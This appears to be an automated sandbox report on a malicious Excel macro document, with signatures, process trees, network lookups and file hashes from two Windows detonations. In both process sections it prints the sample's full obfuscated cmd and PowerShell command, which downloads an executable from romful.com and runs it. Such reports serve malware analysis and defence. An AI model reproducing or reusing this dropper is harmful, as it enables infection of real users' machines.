Malware Analysis Report

2025-01-22 19:11

Sample ID 240722-2a1wsascpl
Target 4eebad4e1bd069ab424f66d5f87f88ccd3cf9637071bd2937c10e6a2b34d8082
SHA256 4eebad4e1bd069ab424f66d5f87f88ccd3cf9637071bd2937c10e6a2b34d8082
Tags
macro macro_on_action execution
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

4eebad4e1bd069ab424f66d5f87f88ccd3cf9637071bd2937c10e6a2b34d8082

Threat Level: Known bad

The file 4eebad4e1bd069ab424f66d5f87f88ccd3cf9637071bd2937c10e6a2b34d8082 was found to be: Known bad.

Malicious Activity Summary

macro macro_on_action execution

Process spawned unexpected child process

Office macro that triggers on suspicious action

Suspicious Office macro

Command and Scripting Interpreter: PowerShell

Office loads VBA resources, possible macro or embedded object present

Suspicious behavior: EnumeratesProcesses

Suspicious use of FindShellTrayWindow

Suspicious use of SetWindowsHookEx

Suspicious use of AdjustPrivilegeToken

Enumerates system info in registry

Suspicious behavior: AddClipboardFormatListener

Suspicious use of WriteProcessMemory

Checks processor information in registry

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-07-22 22:23

Signatures

Office macro that triggers on suspicious action

macro macro_on_action
Description Indicator Process Target
N/A N/A N/A N/A

Suspicious Office macro

macro
Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-07-22 22:23

Reported

2024-07-22 22:24

Platform

win7-20240708-en

Max time kernel

19s

Max time network

16s

Command Line

"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\4eebad4e1bd069ab424f66d5f87f88ccd3cf9637071bd2937c10e6a2b34d8082.xls

Signatures

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process N/A C:\Windows\SysWOW64\CMd.exe C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Office loads VBA resources, possible macro or embedded object present

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE

"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\4eebad4e1bd069ab424f66d5f87f88ccd3cf9637071bd2937c10e6a2b34d8082.xls

C:\Windows\SysWOW64\CMd.exe

CMd.exe /c "p^Ow^ERS^hel^l^.e^x^e^ -nO^l -No^Ni^Nt^ -W^InDO^ws^ 1 -NoprO^FIle^ -eX^Ec^U B^Ypa^S^s $fos=''',''';$hit='dfil';$fd=');sta';$dr='(ne';$ed='ject ';$ipo='syst';$kos='t.we';$rem='ent).do';$sad='wnloa';$kp='w-ob';$nim='e(''';$mo='De';$uy='fa';$ji='ult.ex';$pol='em.ne';$oe='e''';$jik='rt-pro';$naw='cess ''';$lim='bcli';Invoke-Expression($dr+$kp+$ed+$ipo+$pol+$kos+$lim+$rem+$sad+$hit+$nim+'http://romful.com/nero'+$fos+$mo+$uy+$ji+$oe+$fd+$jik+$naw+$mo+$uy+$ji+$oe)"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

pOwERShell.exe -nOl -NoNiNt -WInDOws 1 -NoprOFIle -eXEcU BYpaSs $fos=''',''';$hit='dfil';$fd=');sta';$dr='(ne';$ed='ject ';$ipo='syst';$kos='t.we';$rem='ent).do';$sad='wnloa';$kp='w-ob';$nim='e(''';$mo='De';$uy='fa';$ji='ult.ex';$pol='em.ne';$oe='e''';$jik='rt-pro';$naw='cess ''';$lim='bcli';Invoke-Expression($dr+$kp+$ed+$ipo+$pol+$kos+$lim+$rem+$sad+$hit+$nim+'http://romful.com/nero'+$fos+$mo+$uy+$ji+$oe+$fd+$jik+$naw+$mo+$uy+$ji+$oe)

Network

Country Destination Domain Proto
US 8.8.8.8:53 romful.com udp

Files

memory/2232-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

memory/2232-1-0x000000007292D000-0x0000000072938000-memory.dmp

memory/2232-47-0x0000000006560000-0x0000000006660000-memory.dmp

memory/2232-89-0x0000000006560000-0x0000000006660000-memory.dmp

memory/2232-88-0x0000000006560000-0x0000000006660000-memory.dmp

memory/2232-87-0x0000000006560000-0x0000000006660000-memory.dmp

memory/2232-86-0x0000000006560000-0x0000000006660000-memory.dmp

memory/2232-85-0x0000000006560000-0x0000000006660000-memory.dmp

memory/2232-48-0x0000000006560000-0x0000000006660000-memory.dmp

memory/2232-92-0x000000007292D000-0x0000000072938000-memory.dmp

memory/2232-93-0x0000000006560000-0x0000000006660000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-07-22 22:23

Reported

2024-07-22 22:24

Platform

win10v2004-20240709-en

Max time kernel

47s

Max time network

40s

Command Line

"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\4eebad4e1bd069ab424f66d5f87f88ccd3cf9637071bd2937c10e6a2b34d8082.xls"

Signatures

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process N/A C:\Windows\SYSTEM32\CMd.exe C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Checks processor information in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
N/A N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Processes

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE

"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\4eebad4e1bd069ab424f66d5f87f88ccd3cf9637071bd2937c10e6a2b34d8082.xls"

C:\Windows\SYSTEM32\CMd.exe

CMd.exe /c "p^Ow^ERS^hel^l^.e^x^e^ -nO^l -No^Ni^Nt^ -W^InDO^ws^ 1 -NoprO^FIle^ -eX^Ec^U B^Ypa^S^s $fos=''',''';$hit='dfil';$fd=');sta';$dr='(ne';$ed='ject ';$ipo='syst';$kos='t.we';$rem='ent).do';$sad='wnloa';$kp='w-ob';$nim='e(''';$mo='De';$uy='fa';$ji='ult.ex';$pol='em.ne';$oe='e''';$jik='rt-pro';$naw='cess ''';$lim='bcli';Invoke-Expression($dr+$kp+$ed+$ipo+$pol+$kos+$lim+$rem+$sad+$hit+$nim+'http://romful.com/nero'+$fos+$mo+$uy+$ji+$oe+$fd+$jik+$naw+$mo+$uy+$ji+$oe)"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

pOwERShell.exe -nOl -NoNiNt -WInDOws 1 -NoprOFIle -eXEcU BYpaSs $fos=''',''';$hit='dfil';$fd=');sta';$dr='(ne';$ed='ject ';$ipo='syst';$kos='t.we';$rem='ent).do';$sad='wnloa';$kp='w-ob';$nim='e(''';$mo='De';$uy='fa';$ji='ult.ex';$pol='em.ne';$oe='e''';$jik='rt-pro';$naw='cess ''';$lim='bcli';Invoke-Expression($dr+$kp+$ed+$ipo+$pol+$kos+$lim+$rem+$sad+$hit+$nim+'http://romful.com/nero'+$fos+$mo+$uy+$ji+$oe+$fd+$jik+$naw+$mo+$uy+$ji+$oe)

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 46.28.109.52.in-addr.arpa udp
US 8.8.8.8:53 roaming.officeapps.live.com udp
NL 52.109.89.19:443 roaming.officeapps.live.com tcp
US 8.8.8.8:53 97.17.167.52.in-addr.arpa udp
US 8.8.8.8:53 19.89.109.52.in-addr.arpa udp
US 8.8.8.8:53 240.143.123.92.in-addr.arpa udp
US 8.8.8.8:53 romful.com udp
US 8.8.8.8:53 136.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 55.36.223.20.in-addr.arpa udp
US 8.8.8.8:53 169.253.116.51.in-addr.arpa udp
US 8.8.8.8:53 28.118.140.52.in-addr.arpa udp
US 8.8.8.8:53 86.23.85.13.in-addr.arpa udp
US 8.8.8.8:53 171.39.242.20.in-addr.arpa udp
US 8.8.8.8:53 172.214.232.199.in-addr.arpa udp

Files

memory/1620-2-0x00007FF88C010000-0x00007FF88C020000-memory.dmp

memory/1620-3-0x00007FF88C010000-0x00007FF88C020000-memory.dmp

memory/1620-1-0x00007FF88C010000-0x00007FF88C020000-memory.dmp

memory/1620-0-0x00007FF88C010000-0x00007FF88C020000-memory.dmp

memory/1620-5-0x00007FF88C010000-0x00007FF88C020000-memory.dmp

memory/1620-4-0x00007FF8CC02D000-0x00007FF8CC02E000-memory.dmp

memory/1620-6-0x00007FF8CBF90000-0x00007FF8CC185000-memory.dmp

memory/1620-9-0x00007FF8CBF90000-0x00007FF8CC185000-memory.dmp

memory/1620-7-0x00007FF8CBF90000-0x00007FF8CC185000-memory.dmp

memory/1620-8-0x00007FF8CBF90000-0x00007FF8CC185000-memory.dmp

memory/1620-11-0x00007FF8CBF90000-0x00007FF8CC185000-memory.dmp

memory/1620-10-0x00007FF8CBF90000-0x00007FF8CC185000-memory.dmp

memory/1620-12-0x00007FF889B80000-0x00007FF889B90000-memory.dmp

memory/1620-13-0x00007FF8CBF90000-0x00007FF8CC185000-memory.dmp

memory/1620-14-0x00007FF889B80000-0x00007FF889B90000-memory.dmp

memory/1620-15-0x00007FF8CBF90000-0x00007FF8CC185000-memory.dmp

memory/1620-17-0x00007FF8CBF90000-0x00007FF8CC185000-memory.dmp

memory/1620-16-0x00007FF8CBF90000-0x00007FF8CC185000-memory.dmp

memory/1620-18-0x00007FF8CBF90000-0x00007FF8CC185000-memory.dmp

memory/1620-19-0x00007FF8CBF90000-0x00007FF8CC185000-memory.dmp

memory/1620-86-0x00007FF8CBF90000-0x00007FF8CC185000-memory.dmp

memory/2556-132-0x000001BFF2FE0000-0x000001BFF3002000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3lzpljxt.jqp.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

MD5 ed04763581fcd9518a87267e78e4a3b6
SHA1 2cd1c61e0e23f179d4195dfeabf64fdd158763bd
SHA256 9f3813a6953d6f82685e490229711ece45b82f80f18c4ec3ea05ec322d1349f9
SHA512 ceca5f8483225397faf3e34bb497ac7edb11c30a341fabe2ca965b8649b5cc0e25022c284ef0c65347c4b0926075b8dcd6ab53123fe7b7919eaec94315fb351d

memory/1620-152-0x00007FF8CBF90000-0x00007FF8CC185000-memory.dmp